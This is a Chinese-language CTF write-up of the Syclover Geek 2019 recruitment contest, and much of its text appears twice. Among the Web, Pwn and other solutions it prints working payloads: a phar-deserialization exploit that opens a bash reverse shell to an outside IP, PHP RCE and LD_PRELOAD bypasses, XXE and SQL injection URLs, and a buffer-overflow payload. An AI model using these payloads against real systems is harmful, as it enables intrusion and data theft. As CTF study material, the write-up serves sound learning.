Geek2019题解
- Web
- 打比赛前先撸一只猫!
- 你看见过我的菜刀么
- BurpSuiiiiiit!!!
- 性感潇文清,在线算卦
- Easysq
- RCE Me
- 李三的代码审计笔记第一页
- Lovelysql
- 性感黄阿姨,在线聊天
- Babysql
- 李三的代码审计笔记第二页
- 神秘的三叶草
- Eval evil code
- Jiang's Secret
- HardSQL
- 你有特洛伊么
- Leixiao's blog
- 反序列化1.0
- 又来一只猫
- 你有初恋吗
- FinalSQL
- 你读懂潇文清的网站了吗
- Misc
- 签到
- 啊啊啊啊啊啊啊!!!我好兴奋!!!
- 翻过这座山
- 散打黑客的压缩包
- 是谁杀了谁
- RPG真是太有趣了吧
- 嘿,你喜欢吃鲱鱼罐头吗?
- 我也想成为r1ngs
- 马里奥也太有趣了吧
- I wanna be a geek
- 游戏玩累了,不如来来听听歌吧
- 早点睡
- Pwn
- RE
- Android
- Coding
这是2019年Syclover Geek 10th(招新赛)的题解。
ID:白染染
Web
打比赛前先撸一只猫!
查看源码,根据提示传参?cat=dog即可。
你看见过我的菜刀么
就蚁剑连上就行,真是白给的
BurpSuiiiiiit!!!
扔进Burp里,看到Base64,解密即可。
彩蛋:还有一串Base64,提示你反编译,反编译看到另一个Base64,就是彩蛋了。
说好的奶茶还没有喝到QwQ
性感潇文清,在线算卦
地址是固定的,但是要快一点,怎么做呢···
就bash循环多开几个拼命get,另一个窗口拼命post就行了
Easysq
万能密码'or'1即可,简单的注入。
RCE Me
过滤了大小写字母和数字,然后执行$_GET['code']
恰好在此之前看到过一篇绕过preg_match的文章,里面提到可以用异或或者取反的方法绕过对字母的检测。
于是构建payload
http://114.116.44.23:40001/index.php?code=%24%7b%7e%22%a0%b8%ba%ab%22%7d%5b%aa%5d(%24%7b%7e%22%a0%b8%ba%ab%22%7d[%27_%27]);&%aa=assert&_=phpinfo()
(这里又套了一层使它可任意传参)
先看phpinfo,发现system等函数被禁用了
但是它可以用LD_PRELOAD的方式绕过。(参考l3m0n的脚本)
具体做法:
- 上传一个自定义的恶意.so文件 -> 编写一个用于LD_PRELOAD的共享库文件
- 使用putenv()函数设置LD_PRELOAD为此共享库,这样在系统调用时此共享库就会被加载
- 调用mail()或其他有系统调用的函数,共享库中的系统指令被执行。
Flag在/readflag,它需要被执行以获取root权限,否则是读不到flag的
李三的代码审计笔记第一页
显示了代码,服务器会多次请求同一个链接,要求每次返回一个串中的不同部分
自己VPS上写一个php每次返回不一样的东西就好了,可以用file_put_contents()做标记。
Lovelysql
可爱的sql?
真的很可爱,没有什么过滤,直接Union注入就好了。
时间有点久,忘记payload怎么写的了,不过真的是入门水平,就不复现了qwq
性感黄阿姨,在线聊天
首页一个聊天窗口,抓包发现是以json方式传到后端的
输入flag提示你只是我的guest,那怎么把自己改成admin或者把flag爆出来呢
根据提示XXE,尝试将Content-type改为text/xml
更改用户名,发现它会返回用户名字段的内容
并使用外部实体方式进行注入,尝试读取flag,具体在哪忘了···
期间还有一个关键词过滤的问题,使用远程dtd文件声明实体即可。
这里过滤了http,但是没有过滤https....
Babysql
和上个sql一样直接联合注入
根据报错语句,发现部分关键词,如or等被删了。
双写即可。
其他和上个sql一模一样,就不详细阐述了。
李三的代码审计笔记第二页
此题未完成。感谢WaY大佬的指导。
李三杀我~
一开始我还以为它只是另一个XXE,只是需要带外(expect怎么可能可以用)
但是后来我发现XXE根本读取不到什么有用的东西==
机灵的我又发现upload.php中使用了ImageMagick作为图片处理器,这个东西可就好玩了==有一大堆洞呢。
首先我想到的是用Imagick的text生成大文件的缩略图,以绕过XXE盲注时url带外的长度限制。
但是失败了。
之后我又尝试了CVE-2016-3714和CVE-2016-3716,但依然行不通。
于是我又回到了XML这里,试图读取更多的文件。
在加入zlib.deflate包装器后,我能够读取更多的文件。此时我发现,我所知道的Imagick漏洞全都被配置文件禁用了·····Emmmmmm
于是一筹莫展。
期间还发现了用户ciscn,我也不知道这是干嘛的···啥都没有。
根据WaY大佬的描述,正确的解法是:
查看源码,发现upload.php中存在执行指令的地方
关键代码如下:
in class Picture :
function samplePicture() {
$filePath = $this->sandbox . $this->fileName . $this->extension;
$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";
exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);
$jsonencode=json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));
echo $jsonencode;
}
function __destruct(){
if (!empty($this->jsonencode)){
echo $this->jsonencode;
return ;
}
if (!file_exists($this->sandbox)){
mkdir($this->sandbox);
}
$fileDst = $this->sandbox . $this->fileName . $this->extension;
move_uploaded_file($this->tmpName, $fileDst);
$this->samplePicture();
}
可以看到,exec的指令是可控的。于是可以通过phar://协议反序列化篡改其参数,使恶意代码执行。
至于ImageMagick...没有影响。
Emmm···
好吧。那就说干就干。
首先,使用以下代码创建一个phar文件:(必须将文件头修改为一种图片的头才能上传,这里是jpg)
<?php
include 'upload.php';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$o = new Picture("1.svg");
$o->sandbox = ' || bash -c "bash -i >& /dev/tcp/18.139.252.51/1234 0>&1" || ';//在这里插入恶意指令
$o->filename= "echo 1 ";
$o->extension=" 2333";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->setStub("\xff\xd8\xff <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
将其上传,准备一个svg调用该phar文件,就像这样:(就是XXE)
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
<!ENTITY % lll SYSTEM "phar://picture/c7f843b408e80892e5f5773cb258ea05/076bf9284282dfb3e3f3b304769fcf85.jpg">
%lll;
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
</svg>
扔上去,服务器在解析XML时调用到此phar实体,phar文件中指定的Picture对象被创建,在其__destruct过程中调用exec(),执行了我们自定义的参数。
就RCE了。
后来在弹shell的过程中(是的,我是反弹shell爱好者wwwww),一直用curl来外带,后来才发现它根本就没有curl····emmmm
readflag在根目录下,需要执行才能读取到flag
神秘的三叶草
查看源码,首页发现Secret.php
提示It doesn't come from 'https://www.Sycsecret.com'
修改请求头为
-H "X-Forwarded-For: 127.0.0.1" -H "Referer:https://www.Sycsecret.com" -H "User-Agent: Syclover"
即可访问。
Syc{We1com3_t0_Syc_S3creT}
Eval evil code
要求验证码的md5的前四位等于一个指定的值
写个脚本爆破就行了。
又限制了函数内不能有自定义的字符串参数,也不能用数组下标
经过一番寻找,我找到了getallheaders()和array_rand()这两个函数,前者会作为数组返回整个http请求头,而后者会在参数数组中随机选一个,取其名字作为字符串返回。
于是可以构建
passthru(array_rand(getallheaders()));
然后就是看脸了wwwwwwwww,得多试几次,弹个shell回来就可以为所欲为了。
延伸:可以使用array_flip()将数组的键与值反转,在某些情况下可能会有用,比如使用get_defined_functions()取字符的时候
Jiang's Secret
查看源码,发现Archive_room.php
抓包,在点击action.php后会返回注释掉的secr3t.php,伴随一个302跳转。
然后是一个代码审计,会include file的内容,但不能出现httpdata
input关键字。
使用php伪协议套一层base64就好啦
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
HardSQL
过滤了/*,%0a,&之类的,还有"and"
但是可以用--当替换部分空格
就算成功注入了也不会有成功返回,但是可以报错
于是就可以报错注入了
过滤了and我们可以用or嘛wwwww
本来想根据以前学到的使用XPath报错(updatexml,extractvalue),但是当我照着以前的东西打上去然后把空格换成--后,它失败了.....
ERROR 1105 (HY000): XPATH syntax error: '~0s'
怎么办呢
我去到处Google,试图找到思路
终于,我找到了这个函数:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
但是*又被过滤了···
本来想试着找到各层的列名,结果扔上去之后惊喜的发现,它爆出了数据库名、表名,还能猜列名!
payload:
http://118.25.14.40:8103/check.php?username=admin&password=1%27or--exp(~(select--id))%23
返回:
DOUBLE value is out of range in 'exp(~--`geek`.`H4rDsq1`.`id`)'
id换成password,也是正常的,说明password也存在。
知道它在哪了,那么该如何爆出来呢?
在不连续三天的研究后,我发现了一开始xpath没有成功出来的原因:
mysql> select '1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name)from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema,mysql,perfor'
mysql> select '1'and--extractvalue(1,concat(0x7e,(select--group_concat(schema_name)from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~0s'
select和group_concat之间的空格不能用"--"替换,原因···我也不清楚。
问题点知道了就好说了(我一开始还以为是Maria的奇怪机制导致的==)
可以把空格两边分别用括号包裹起来,形成
mysql> select '1'and--extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema,mysql,perfor'
Bingo.
最终payload:
http://118.25.14.40:8103/check.php?username=admin&password=1%27or--extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x73))%23
XPATH syntax error: '~Syc{You_c4n_erRor_1njecti0n}s'
你有特洛伊么
要求只能上传图片,会验证文件头
那就加上文件头呗
又要求不能出现<?,这可怎么办呢?
还可以用呀
后缀名不能是php? phtml!
就好了
注意:<script language="php">
这种语法在php7.1之后就不能再使用了。(php中文手册上描述有误,请看英文站)
这里题目环境是php7.0
Leixiao's blog
你会盗号吗?
显然是一个XSS
进去注册之后发现一个report功能,要求输入一个链接,该链接会被管理员访问。
一开始我的思路是想办法绕过浏览器的限制用iframe跨域盗Cookie···这有点太前沿了,显然不会出现在招新赛上。
那就找本站的XSS点
经过一番寻找,发现注册时的密保问题是可控的,且可以被任何人访问。
但是限制了32字符··没办法,想办法缩短吧
去短链接站缩短网址,去掉http:,用 />直接闭合
就差不多了
扔上去,在攻击服务器上成功读到Cookie。
payload写好了发现公共XSS平台恰好挂了···没办法,在自己服务器上又写了一个qwq
反序列化1.0
就是简单的反序列化,源码本地跑一下复制序列化改个值扔上去就行了。
payload:
http://148.70.59.198:42374/?exp=O:7:%22Student%22:1:{s:5:%22score%22;i:10000;}
又来一只猫
算是反序列化2.0
提示有备份,果然在www.zip找到了源码
步骤和上题基本一致,只是在__wakeup时重置了username,所以要用CVE-2016-7124绕过。
另外还要注意这是私有属性,要用%00Name%00做前缀。
payload:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
你有初恋吗
要求传参进去的内容不能是syclover,但它urldecode后加上某前缀必须与syclover加上同一前缀的md相等
那就urlencode两遍就好了嘛
FinalSQL
只给了一个id项可以填,并且没有错误回显,id在1-6时分别返回不同的内容。
尝试发现SQL语句错误时,返回Error!,而id数不在预定义范围内时返回ERROR!!!。
尝试id=1--2,与id=3时相同。
再尝试id=1--id,返回ERROR!!!,而id=1--skiaishdas返回Error!。
于是可以这样猜字段名。
有什么用呢:(不是password,flag...
本地试了试,猜想它可能是这么写的:
select * from sqli where id=******
那就···可以用子查询咯。
所以···目前可以知道子查询的结果是1-6之间的哪个数···难道要手写编码?
理论上,我们可以用id=(ascii(substr(database(),1,1))mod(115))来一个字符一个字符地爆破···
太麻烦,显然不是正解。不,我真的这么做了。
尝试id=concat((select--1));select(1),直接Error!了,也不能用注释符号···
- 我真的去爆破了。
试出来库名就是geek,接下来
(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema)like'geek'),1,1))mod(110))
然后我发现like = 都不能用...
问了问贾师傅,得知where还可以用regexp
没有过滤。耶~
结果,在我用burp爆破的时候,我发现···
批注 2019-11-06 135754.png
网页上背景是黑色的,字也是黑色的,我就以为不能报错···
···于是就和上题的套路一样了。
·········真的无语,我是个傻子..
用exp()搞到了数据库名表名
Warning: mysqli_query(): (22003/1690): DOUBLE value is out of range in 'exp(~--`geek`.`Flaaaaag`.`id`)' in /var/www/html/search.php on line 34
- 但是,我想按照原来的思路再试试
等等,一开始没有group_concat,结果出错了,说明他数据库里有不止一个表?
结果一试···
(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema)regexp'geek'),1,1))mod(110))
这里一开始放错了,现在已经忘记另一个表叫什么了==
同样的方法,爆列名。
然后就可以开始跑了。
一开始我还在一个一个改,后来才想起来有个Cluster Bomb.....
还可以regexp'^Syc'(现学现卖?)
跑到这里我已经给他发了至少8.2k个包了==
批注 2019-11-06 162921.png
耶。
你读懂潇文清的网站了吗
御剑扫了一遍,发现index.php,config.php,upload.php,flag.php
config.php是个白页,upload.php是个jpg上传页面
显然flag.php是我们想要的
第一反应扔个小马上去,然而我并没有看到包含点
回到首页,看到一个输入框,结合提示XXE尝试直接改包修改Content-Type,无效。
经过多次尝试,我发现似乎con这样的格式会在response中显示中间的文本
猜想是经过了XML解析
尝试
<?xml version="1.0"?>
<!DOCTYPE a[<!ENTITY elf "LEO">]>
<root>&elf;awsl</root>
成功返回了LEOawsl
那就尝试注入呗,都知道flag在哪了
尝试过程中发现它过滤了http https ftp flag等关键字
- 思路一: 结合文件上传扔个dtd上去
- 思路二:直接data://text/plain;base64把dtd写在里面
这里我用了思路二。
所以最终payload
<?xml version="1.0"?><!DOCTYPE any [<!ENTITY % load SYSTEM "data://text/plain;base64,PCFFTlRJVFkgZWxmIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9mbGFnLnBocCI+">%load;]><root>&elf;awsl</root>
返回
PD9waHANCiRmbGFnPSJTeWN7WHhlK0Y0blh1bGkxSHU0LWlTLUFtYXppbmd9IjsNCmVjaG8gImZsYWcgaXMgaW4gbWV+IjsNCj8+awsl
小插曲: 一开始搞错了Web目录,还以为出了什么奇怪的bug
不知为何<!DOCTYPE any SYSTEM "">不能用,让我一度怀疑这里不是xml :(
但是,这两个都不是预期解。(什么?!!)
后来学长告诉我,这题的预期解法是,先读取config.php取得其中的对象配置(__wakeup会打印flag.php的内容),然后用phar://伪协议执行上传上去的phar文件触发反序列化。
但问题是,能读取config.php为什么不直接读flag.php呢····一般人碰到关键字会先想怎么绕过吧···
生成代码:
<?php
include 'config.php';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$o = new File();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
Misc
签到
真的只是签到,微信公众号回复flag就拿到了。
啊啊啊啊啊啊啊!!!我好兴奋!!!
解压,得到一个gif
先上binwalk分析,发现隐藏的jpg
dd提取出来,flag就在图片备注里
在misc Final中提供的版本中,备注是美颜软件信息wwwwwww
{"Version":"1.0.0","BeautyInfo":{"IsAIBeauty":false,"IsOldBeauty":true,"IsSkinColour":false,"SwitchMedicatedAcne":false,"IsBrightEyes":true,"IsReduceBlackEyes":true,"IsSharpen":false,"OldBeautyCount":1,"OldBeautyValue":"[0.352]"},"FaceliftInfo":{"IsChangeFacelift":false,"IsChangeThinFace":true,"IsChangeEyeLift":true,"IsChangeFaceChin":false,"IsChangeNose":false,"IsChangeMouth":true},"FilterInfo":{"IsUseFilter":true,"FilterCount":1,"FilterValueList":"[0.54]"},"ARInfo":{"IsUseAR":false},"MakeupInfo":{"IsUseMakeup":true},"HandlerInfo":{"AppName":2},"SoftHairInfo":{"IsUseSoftHair":false}}
翻过这座山
翻墙后打开链接,是Lamber师傅的tg,还有一个指向github的链接
flag就在github的最近提交里···当前版本的是假的flag,真的flag在历史记录里
我用这个方法找到了Android 3的flag···emmmm
科学上网,文明出行wwww
散打黑客的压缩包
提示4number,爆破即可。
彩蛋:两个4个数字连起来是16进制的egg
是谁杀了谁
注意自己的HP???
原来是在运行中会在当前目录生成隐藏文件HP,flag就在里面。
大佬直接逆向做?
RPG真是太有趣了吧
CE锁血,秒杀,打就完事了。
嘿,你喜欢吃鲱鱼罐头吗?
脑洞有点难以找到···
压缩包内有一张图片,图片的备注是它看上去就像一条死鱼一样
提示用英文搜索
打开图片,发现图片底部有一堆奇奇怪怪的英文字符串
这里其实是Deadfish语言,解码即可拿到flag。
我也想成为r1ngs
解压看到一大堆的16进制···
转换成ASCII后缩放到最小,可以看到它们拼成了flag,算是一个字符画?
马里奥也太有趣了吧
游戏题?
金手指开启
无敌,飞天,超速,请!
Flag就在8-4
I wanna be a geek
I wanna??
耶,这是我拿手的(虽然有几年不玩了)
轻松通关。
似乎正解是跳面或者地图编辑器?不太懂···
要是交给我出,我一定会搞一个超级难,自己都不一定能通关的出来23333
游戏玩累了,不如来来听听歌吧
拿到一段音频
根据题目描述时间倒转,将其反向
看到频谱图里有些奇怪的方块···
放大减速仔细听,发现有嘀嘀嘀的声音,猜想为摩尔斯电码
尝试将所有方块拼在一起(用Audacity-分析-寻找截辐失真辅助寻找),解码,啥也不是。
emmmmm
回到原音频,发现它的方块的大小不同,方块间的间隔也不同。
尝试将方块延长继续观察
发现方块有长有短,方块间隔中的长段大约为短段的两杯长
试着将长方块视为-,短方块视为.,长间隔视为空格,得到... -.-- -.-. -... .---- - . ... - .... ...-- -.. ..- ... -
解码,得到sycb1testh3dust
尝试了各种大小写下划线组合,终于试到了
flag:
SYC{B1TESTH3DUST}
我花了一个小时试出来得知flag格式不是SYC{}...还有这种操作?
早点睡
下载下来一个png,用记事本打开,满屏的Adobe Photoshop····
PS打开,看到一个透明度为0的图层,透明度拉满提取出来,看到一个链接
打开链接,下载下来一个base64,解码得到一个二维码
扫码,得到另一个base64后的二维码···
最后一个文件包含好几个短的base64,发现其中一段明显重复了好几次,解码,就是Flag了。
Pwn
Find tools
Google到了python库pwntools
看了看基本用法
c=remote("pwnto.fun",9999)
context.log_level = 'DEBUG'
c.sendline("l1ve_l0ng_and_pwn")
c.interactive()
拿到base64,l1ve_l0ng_and_pwn
怎么不行呢··
于是我就回去做Web了。
Geek快结束的时候,做不动了又来看看,发现是不能有末尾回车····
c.send("l1ve_l0ng_and_pwn")
Syc{pwn_1s_s0_fun}
Emmmmmm...
Baby rop
此题未完成。
感谢令则的指导,令则真是太强了qwq
原理就是写入数据大于栈中指定的最大数组量,导致后面的数据逃逸到了调用时的指针,使得指定地址上的函数被执行。
一开始看了segmentfault的指引,大概了解了它的工作原理,就照着打···
结果因为奇怪的原因始终无法解析到合适的pattern大小···
极客结束时去问令则,被令则大佬手把手教了qwq
原来这题目本身就有system的调用,无需再在libc里寻找可能的system调用点···
同时在IDA里查看到堆栈大小为88,即136,在136个字符后面写上调用system的函数的地址,传过去就行了。
payload:
payload="A" * 136 + p64(0x00000040619)
其实这样看来,这道题还是降低了难度的emmm
一开始在64位这里卡了一会,主要是自己之前没有了解过64位系统的内存地址,导致前期一直出奇怪的错误(虽然自己还是没解出来,但是也算是学会了这个点吧)
再次感谢令则大佬
Flag: Syc{S0_easy_and_s0_g00d}
Flag就不交了
RE
Jiang's Fan
IDA打开看一下字符串就行了。
Secret
IDA反编译,在对比处设一个断点,调试,查看被对比的两个数组,发现一个是自己输进去的内容,另一个就是flag了。
>unescape("%53%79%63%7b%6e%30%77%5f%79%4f%75%5f%6b%6e%6f%77%5f%62%34%73%65%31%36%7d")
'Syc{n0w_yOu_know_b4se16}'
这里倒是调linux调试器花了一些时间,wsl里的ida因为神奇的原因不能调试,还是用VPS搭了一个远程
也是极客快结束才重新捡起来做
冰菓
打开IDA,发现一句“dnSpy是个很好的工具”,于是下载dnSpy
时间有点长,具体怎么做的忘记了,比较明显就是了emmm
千反田真是太可爱了~
PYC是啥子嘛?
在网上找到pyc在线反编译的网站
发现这是一个迷宫
不大,直接dfs就出来了
写的时候数组少写了一个0,导致莫名其妙的错误还以为自己算法写错了qaq
核心代码:
bool dfs(int place){
if (place<0||place>=maze.size()) return false;
if (visited[place]) return false;
else visited[place]=true;
if (maze[place]=='#') return false;
if (maze[place]=='@'){
if (dfs(place-10)) ans+='&';
else if (dfs(place+10)) ans+='$';
else if (dfs(place-1)) ans+='6';
else if (dfs(place+1)) ans+='3';
else return false;
return true;
}
if (maze[place]=='E') return true;
}//ans倒着输出就好
别的就不会了呜呜呜呜
Android
Sign_in
直接就在asrc字符常量池里。
蒋学姐的秘密
学习工具的使用。
用dex2jar反编译为jar,翻源码,根据错误提示内容定位到关键代码
public class LoginDataSource {
public static String login(String paramString) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
messageDigest.update(paramString.getBytes());
StringBuffer stringBuffer = new StringBuffer();
byte[] arrayOfByte = messageDigest.digest();
for (byte b = 0; b < arrayOfByte.length; b++) {
byte b2 = arrayOfByte[b];
byte b1 = b2;
if (b2 < 0)
b1 = b2 + 256;
if (b1 < 16)
stringBuffer.append("0");
stringBuffer.append(Integer.toHexString(b1));
}
return stringBuffer.toString();
} catch (NoSuchAlgorithmException paramString) {
paramString.printStackTrace();
return "";
}
}
public Result<LoggedInUser> login(String paramString1, String paramString2) {
try {
if (paramString1.equals(LoginActivity.VersionName)) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("Syc{");
stringBuilder.append(login(paramString1));
stringBuilder.append("}");
return paramString2.equals(stringBuilder.toString()) ? new Result.Success(new LoggedInUser(UUID.randomUUID().toString(), paramString1)) : new Result.Error(new Exception("wrong password"));
}
return new Result.Error(new Exception("wrong user"));
} catch (Exception paramString1) {
return new Result.Error(new IOException("Error logging in", paramString1));
}
}
public void logout() {}
}
可以看到用户名是App版本,即Syclover
显然我们需要跑一遍login("Syclover")函数(总不能手算吧)
这里有个小问题,直接代码扔到Android studio里会提示数据类型错误,更改为int即可。
结果因为没配置好代理,还以为Android studio挂了,重装了一遍···GFW害我。
Smali是真的看不懂emm
flag: Syc{8ed847f4164c5b6e87fa2508a05181d1}
正在尝试重新连接
算是一个非预期,出题人的bug
看到在连接网络首先想到抓包(Web手2333)
由于Android的限制https包不太好抓,至少手机上是没抓到
上Android SDK里的AVD,设置代理,Fiddler抓到了CONNECT,没有解密但是暴露了域名
打开,发现是托管在GitHub上的师傅的博客
GitHub?
过去看历史记录,明文的Flag就躺在里面==
正解似乎是对那个文件的当前版本中的数组进行运算?不过既然已经拿到Flag了,我也不是RE手,就没深究,当Misc做了。
第四题要看反编译的JNI代码,我实在看不下去就没做·····
Coding
Dragon Quest
就3x3,要什么算法暴力就行。
#include<stdio.h>
#define max(a,b) (((a) > (b)) ? (a) : (b))
#define min(a,b) (((a) < (b)) ? (a) : (b))
int a[3][3];
int main(){
for (int i=0;i<3;i++){
for (int j=0;j<3;j++){
scanf("%d",&a[i][j]);
if (a[i][j]<=0){
printf("The monster is too weak...");
return 0;
}
}
}
int max0=max(max(a[0][0],a[0][1]),a[0][2]);
int max1=max(max(a[1][0],a[1][1]),a[1][2]);
int max2=max(max(a[2][0],a[2][1]),a[2][3]);
int min0=min(min(a[0][0],a[0][1]),a[0][2]);
int min1=min(min(a[1][0],a[1][1]),a[1][2]);
int min2=min(min(a[2][0],a[2][1]),a[2][3]);
if (min0+min1+min2>=100){
printf("The brave died on the way to leveling...");
return 0;
}
if (max0+max1+max2<60){
printf("why don't give the brave a chance to level up...");
return 0;
}
int ans=233333;
for (int i=0;i<3;i++){
for (int j=0;j<3;j++){
for (int k=0;k<3;k++){
int ansr=a[0][i]+a[1][j]+a[2][k];
if (ansr>=60) ans=min(ans,ansr);
}
}
}
printf("The brave still has %dHP left to face the BOSS",100-ans);
return 0;
}
挡路羊驼
就一DFS,数据也不大也不用担心复杂度的问题,和逆向的那个迷宫大同小异,只要限定某些地方不可访问就行。
#include<stdio.h>
int map[20][20]={0};
int x,y,ans=0;
int dfs(int a,int b){
if (a==x&&b==y){
ans++;
return 1;
}
if (a<0||b<0||a>x||b>y||map[a][b]) return 0;
dfs(a+1,b);
dfs(a,b+1);
}
__attribute__((constructor)) wojiushiyaopiyixiahhhhh(){
int t1,t2;
scanf("%d%d%d%d",&x,&y,&t1,&t2);
map[t1][t2]=1;
map[t1-1][t2-2]=1;
map[t1-1][t2+2]=1;
map[t1+1][t2-2]=1;
map[t1+1][t2+2]=1;
map[t1+2][t2-1]=1;
map[t1+2][t2+1]=1;
map[t1-2][t2-1]=1;
map[t1-2][t2+1]=1;
dfs(0,0);
}
int main() {return printf("%d",ans);}
一开始不清楚C不能用bool,为此wa了几次==
- Web
- 打比赛前先撸一只猫!
- 你看见过我的菜刀么
- BurpSuiiiiiit!!!
- 性感潇文清,在线算卦
- Easysq
- RCE Me
- 李三的代码审计笔记第一页
- Lovelysql
- 性感黄阿姨,在线聊天
- Babysql
- 李三的代码审计笔记第二页
- 神秘的三叶草
- Eval evil code
- Jiang's Secret
- HardSQL
- 你有特洛伊么
- Leixiao's blog
- 反序列化1.0
- 又来一只猫
- 你有初恋吗
- FinalSQL
- 你读懂潇文清的网站了吗
- Misc
- 签到
- 啊啊啊啊啊啊啊!!!我好兴奋!!!
- 翻过这座山
- 散打黑客的压缩包
- 是谁杀了谁
- RPG真是太有趣了吧
- 嘿,你喜欢吃鲱鱼罐头吗?
- 我也想成为r1ngs
- 马里奥也太有趣了吧
- I wanna be a geek
- 游戏玩累了,不如来来听听歌吧
- 早点睡
- Pwn
- RE
- Android
- Coding
这是2019年Syclover Geek 10th(招新赛)的题解。
ID:白染染
Web
打比赛前先撸一只猫!
查看源码,根据提示传参?cat=dog即可。
你看见过我的菜刀么
就蚁剑连上就行,真是白给的
BurpSuiiiiiit!!!
扔进Burp里,看到Base64,解密即可。
彩蛋:还有一串Base64,提示你反编译,反编译看到另一个Base64,就是彩蛋了。
说好的奶茶还没有喝到QwQ
性感潇文清,在线算卦
地址是固定的,但是要快一点,怎么做呢···
就bash循环多开几个拼命get,另一个窗口拼命post就行了
Easysq
万能密码'or'1即可,简单的注入。
RCE Me
过滤了大小写字母和数字,然后执行$_GET['code']
恰好在此之前看到过一篇绕过preg_match的文章,里面提到可以用异或或者取反的方法绕过对字母的检测。
于是构建payload
http://114.116.44.23:40001/index.php?code=%24%7b%7e%22%a0%b8%ba%ab%22%7d%5b%aa%5d(%24%7b%7e%22%a0%b8%ba%ab%22%7d[%27_%27]);&%aa=assert&_=phpinfo()
(这里又套了一层使它可任意传参)
先看phpinfo,发现system等函数被禁用了
但是它可以用LD_PRELOAD的方式绕过。(参考l3m0n的脚本)
具体做法:
- 上传一个自定义的恶意.so文件 -> 编写一个用于LD_PRELOAD的共享库文件
- 使用putenv()函数设置LD_PRELOAD为此共享库,这样在系统调用时此共享库就会被加载
- 调用mail()或其他有系统调用的函数,共享库中的系统指令被执行。
Flag在/readflag,它需要被执行以获取root权限,否则是读不到flag的
李三的代码审计笔记第一页
显示了代码,服务器会多次请求同一个链接,要求每次返回一个串中的不同部分
自己VPS上写一个php每次返回不一样的东西就好了,可以用file_put_contents()做标记。
Lovelysql
可爱的sql?
真的很可爱,没有什么过滤,直接Union注入就好了。
时间有点久,忘记payload怎么写的了,不过真的是入门水平,就不复现了qwq
性感黄阿姨,在线聊天
首页一个聊天窗口,抓包发现是以json方式传到后端的
输入flag提示你只是我的guest,那怎么把自己改成admin或者把flag爆出来呢
根据提示XXE,尝试将Content-type改为text/xml
更改用户名,发现它会返回用户名字段的内容
并使用外部实体方式进行注入,尝试读取flag,具体在哪忘了···
期间还有一个关键词过滤的问题,使用远程dtd文件声明实体即可。
这里过滤了http,但是没有过滤https....
Babysql
和上个sql一样直接联合注入
根据报错语句,发现部分关键词,如or等被删了。
双写即可。
其他和上个sql一模一样,就不详细阐述了。
李三的代码审计笔记第二页
此题未完成。感谢WaY大佬的指导。
李三杀我~
一开始我还以为它只是另一个XXE,只是需要带外(expect怎么可能可以用)
但是后来我发现XXE根本读取不到什么有用的东西==
机灵的我又发现upload.php中使用了ImageMagick作为图片处理器,这个东西可就好玩了==有一大堆洞呢。
首先我想到的是用Imagick的text生成大文件的缩略图,以绕过XXE盲注时url带外的长度限制。
但是失败了。
之后我又尝试了CVE-2016-3714和CVE-2016-3716,但依然行不通。
于是我又回到了XML这里,试图读取更多的文件。
在加入zlib.deflate包装器后,我能够读取更多的文件。此时我发现,我所知道的Imagick漏洞全都被配置文件禁用了·····Emmmmmm
于是一筹莫展。
期间还发现了用户ciscn,我也不知道这是干嘛的···啥都没有。
根据WaY大佬的描述,正确的解法是:
查看源码,发现upload.php中存在执行指令的地方
关键代码如下:
in class Picture :
function samplePicture() {
$filePath = $this->sandbox . $this->fileName . $this->extension;
$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";
exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);
$jsonencode=json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));
echo $jsonencode;
}
function __destruct(){
if (!empty($this->jsonencode)){
echo $this->jsonencode;
return ;
}
if (!file_exists($this->sandbox)){
mkdir($this->sandbox);
}
$fileDst = $this->sandbox . $this->fileName . $this->extension;
move_uploaded_file($this->tmpName, $fileDst);
$this->samplePicture();
}
可以看到,exec的指令是可控的。于是可以通过phar://协议反序列化篡改其参数,使恶意代码执行。
至于ImageMagick...没有影响。
Emmm···
好吧。那就说干就干。
首先,使用以下代码创建一个phar文件:(必须将文件头修改为一种图片的头才能上传,这里是jpg)
<?php
include 'upload.php';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$o = new Picture("1.svg");
$o->sandbox = ' || bash -c "bash -i >& /dev/tcp/18.139.252.51/1234 0>&1" || ';//在这里插入恶意指令
$o->filename= "echo 1 ";
$o->extension=" 2333";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
